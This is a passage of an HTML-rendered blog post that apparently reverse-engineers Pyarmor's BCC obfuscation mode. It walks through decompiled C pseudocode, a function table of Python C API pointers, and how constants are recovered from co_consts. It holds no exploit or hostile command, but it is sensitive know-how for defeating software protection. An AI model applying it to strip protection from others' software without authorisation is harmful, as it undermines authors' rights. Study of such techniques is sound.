  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_GetIter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_IsTrue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_SetAttr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;attr_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_SetItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PySet_Add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PySet_New&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iterable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PySlice_New&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;step&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyTuple_GetItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Py_DecRef&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Py_IncRef&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the first half we have a couple C language functions and pointers, followed by helper functions defined in the Pyarmor runtime.
The second half consists of pointers to functions and structs exposed by the standard Python C API.&lt;/p&gt;

&lt;p&gt;The struct is created in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__pyarmor__&lt;/code&gt; C implementation:&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;n&quot;&gt;ftable_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_stderr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v67&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bcc_state_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fprintf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyNumber_operator&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bcc_PyNumber_operator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;build_collection&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bcc_build_collection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;call_python_func&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bcc_call_python_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;set_exception_if_none_was_raised&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bcc_set_exception_if_none_was_raised&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;comparison&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bcc_comparison&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;qword48&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sub_648D2580&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;an-example-of-bcc-code&quot;&gt;An example of BCC code&lt;/h2&gt;

&lt;p&gt;Let’s study a small example of what Python code that was translated to C could look like.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;n&quot;&gt;call_python_func&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;call_python_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;++*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;globals_operation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GLOBAL_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v7&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v7&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Py_DecRef&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v12&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_GetAttr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v12&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Py_DecRef&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Py_DecRef&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;build_collection&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;build_collection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v26&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;++*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v14&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;build_collection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v15&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;call_python_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The code performs the following steps:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;A global variable is retrieved by name.&lt;/li&gt;
  &lt;li&gt;An attribute is retrieved from the object pointed to by the variable.&lt;/li&gt;
  &lt;li&gt;The retrieved attribute happens to be a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Callable&lt;/code&gt;, which is called at the end.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If we imagine the global was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sys&lt;/code&gt;, and the attribute was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exit&lt;/code&gt;, we’d have something like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sys.exit(argument)&lt;/code&gt;.
The argument resides in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v26&lt;/code&gt;, which is initially set somewhere above in code not shown here; unfortunately, the decompiler doesn’t seem to understand the variadic nature of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;build_collection&lt;/code&gt; function and never shows more than two parameters (it also doesn’t offer the option to add them manually in this case).&lt;/p&gt;

&lt;p&gt;The example shows the effect of BCC mode: a single line of Python code is easily blown into 30 lines of C pseudocode.
While it’s not too hard to follow what’s going on, it’s not so easy to intuit at a glance what the code is doing as a whole.
Everything is quite spread out and interspersed with low-level details such as reference counting.&lt;/p&gt;

&lt;p&gt;If you analyze a BCC code blob, you’ll find that it doesn’t contain any strings to speak of, nor any other constants.
In the example above, we saw references such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v4[3]&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v4[4]&lt;/code&gt;.
This pattern can be found in all BCC functions, and the indexes mostly increase, with some rarely being reused.
It stands to reason that we found the usages of the constants - next, we need to figure out where to find the actual values.&lt;/p&gt;

&lt;h2 id=&quot;constant-in-all-other-things&quot;&gt;Constant In All Other Things&lt;/h2&gt;

&lt;p&gt;At the beginning of each BCC function you’ll see something like this:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8LL&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Followed by references to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v4&lt;/code&gt; starting with array index &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The first question is, what is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a1&lt;/code&gt;?
We’ve seen that BCC functions are created as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyCMethod&lt;/code&gt; instances, which get &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyObject *self&lt;/code&gt; as first parameter.
While normally, &lt;em&gt;method&lt;/em&gt; means a function that is part of a class and is invoked on object instances of said class, the Pyarmor authors decided to repurpose it: they pass &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;co_consts&lt;/code&gt; as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;self&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;co_consts&lt;/code&gt; of the example in the previous section looks like this: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(None, &apos;__pyarmor_bcc_54440__&apos;, (&apos;sys&apos;, &apos;exit&apos;))&lt;/code&gt;.
That last tuple looks interesting - it would be a good fit.
Thus, we’re looking for the access pattern tuple-in-a-tuple.&lt;/p&gt;

&lt;p&gt;The items in a (native) Python tuple start at offset 24, while the size resides at offset 16 (note: these values depend on the Python version and build settings).
With the knowledge that our tuple of interest is the last one, we can rewrite the code in multiple steps in order to make sense of it:&lt;/p&gt;

